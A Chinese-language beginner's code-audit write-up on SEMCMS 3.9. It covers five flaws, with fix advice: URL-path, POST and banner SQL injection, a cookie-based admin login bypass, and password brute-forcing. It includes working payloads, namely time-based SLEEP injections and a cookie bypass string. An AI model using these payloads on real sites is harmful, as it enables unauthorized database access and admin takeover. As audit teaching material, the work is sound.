小白第一次审计
字数 1215 2025-08-09 15:23:02

SEMCMS代码审计与漏洞分析教学文档


一、环境准备与初步观察

  1. CMS结构

    • 解压至Web根目录(否则部分漏洞无法触发)
    • 主要入口文件:index.php,包含web_inc.php等核心文件
  2. 技术栈

    • PHP + MySQL
    • 关键函数:include_onceob_start(输出缓冲)、$_SERVER["REQUEST_URI"]

二、漏洞分析(共5处)

1. 第一处:URL路径SQL注入(高危)
  • 文件web_inc.php
  • 漏洞代码
    $web_urls = explode('/', $_SERVER["REQUEST_URI"]);
    $lang = web_language_ml($web_urls[1], $db->conn);
    
  • 关键点
    • web_language_ml函数直接拼接SQL查询,无过滤:
      SELECT * FROM sc_language WHERE language_abbr='$lang'
      
    • Payloadhttp://target.com/' AND SLEEP(5)--+
    • 限制:必须部署在根目录(否则$web_urls[1]非预期值)
2. 第二处:后台登录绕过(高危)
  • 文件SEMCMS_Top_include.php -> checkuser()
  • 漏洞逻辑
    • 通过Cookie传递scuseradminscuserpass进行认证
    • verify_str()test_input()过滤可被绕过:
      • 大小写绕过:Or 1#替代or 1#
      • 反斜杠转义:scuseradmin=aaa\破坏引号闭合
  • Payload
    Cookie: scuseradmin=aaa\; scuserpass=Or 1#
    
  • 问题:本地环境可能存在执行但未跳转的兼容性问题(需调试)
3. 第三处:POST参数SQL注入(高危)
  • 文件web_inc.php
  • 触发条件:POST提交languageID参数
  • 漏洞代码
    if (isset($_POST["languageID"])) {
        $language = test_input($_POST["languageID"]);
        // 直接拼接到SQL
    }
    
  • Payload
    POST / HTTP/1.1
    languageID=1 AND SLEEP(5)--
    
4. 第四处:Banner模块SQL注入(中危)
  • 文件SEMCMS_Banner.php
  • 漏洞代码
    $lgid = $_GET['lgid'];
    $sql = "SELECT * FROM sc_banner WHERE banner_lg='$lgid'";
    
  • 绕过技巧
    • Windows大小写不敏感,需用其他关键词替代过滤词(如SLEEP替代SELECT
    • 依赖条件:需先绕过后台登录
5. 第五处:后台密码爆破(低危)
  • 漏洞特征
    • 登录接口无验证码
    • 可暴力破解管理员密码
  • 工具:Burp Suite Intruder模块

三、防御与修复建议

  1. 输入过滤

    • 使用预处理语句(PDO/mysqli_prepare)
    • 统一过滤函数:强制大小写敏感、过滤特殊字符(如preg_replace
  2. 权限控制

    • 后台路径重命名(避免默认/vyT4nP_Admin/
    • 会话验证增加Token机制
  3. 其他加固

    • 关键操作日志记录
    • 文件包含使用白名单限制路径

四、审计技巧总结

  1. 入口追踪:从index.php逐步分析包含文件
  2. 敏感函数:关注includeeval、SQL拼接语句
  3. 调试手段
    • var_dump($_SERVER)查看URL解析
    • 修改代码插入echo调试输出
  4. 绕过测试:大小写、编码、逻辑缺陷组合测试

:本文档基于SEMCMS 3.9版本分析,实际测试需遵守合法授权原则。

SEMCMS代码审计与漏洞分析教学文档 一、环境准备与初步观察 CMS结构 解压至Web根目录(否则部分漏洞无法触发) 主要入口文件: index.php ,包含 web_inc.php 等核心文件 技术栈 PHP + MySQL 关键函数: include_once 、 ob_start (输出缓冲)、 $_SERVER["REQUEST_URI"] 二、漏洞分析(共5处) 1. 第一处:URL路径SQL注入(高危) 文件 : web_inc.php 漏洞代码 : 关键点 : web_language_ml 函数直接拼接SQL查询,无过滤: Payload : http://target.com/' AND SLEEP(5)--+ 限制 :必须部署在根目录(否则 $web_urls[1] 非预期值) 2. 第二处:后台登录绕过(高危) 文件 : SEMCMS_Top_include.php -> checkuser() 漏洞逻辑 : 通过Cookie传递 scuseradmin 和 scuserpass 进行认证 verify_str() 和 test_input() 过滤可被绕过: 大小写绕过: Or 1# 替代 or 1# 反斜杠转义: scuseradmin=aaa\ 破坏引号闭合 Payload : 问题 :本地环境可能存在执行但未跳转的兼容性问题(需调试) 3. 第三处:POST参数SQL注入(高危) 文件 : web_inc.php 触发条件 :POST提交 languageID 参数 漏洞代码 : Payload : 4. 第四处:Banner模块SQL注入(中危) 文件 : SEMCMS_Banner.php 漏洞代码 : 绕过技巧 : Windows大小写不敏感,需用其他关键词替代过滤词(如 SLEEP 替代 SELECT ) 依赖条件 :需先绕过后台登录 5. 第五处:后台密码爆破(低危) 漏洞特征 : 登录接口无验证码 可暴力破解管理员密码 工具 :Burp Suite Intruder模块 三、防御与修复建议 输入过滤 使用预处理语句(PDO/mysqli_ prepare) 统一过滤函数:强制大小写敏感、过滤特殊字符(如 preg_replace ) 权限控制 后台路径重命名(避免默认 /vyT4nP_Admin/ ) 会话验证增加Token机制 其他加固 关键操作日志记录 文件包含使用白名单限制路径 四、审计技巧总结 入口追踪 :从 index.php 逐步分析包含文件 敏感函数 :关注 include 、 eval 、SQL拼接语句 调试手段 : var_dump($_SERVER) 查看URL解析 修改代码插入 echo 调试输出 绕过测试 :大小写、编码、逻辑缺陷组合测试 注 :本文档基于SEMCMS 3.9版本分析,实际测试需遵守合法授权原则。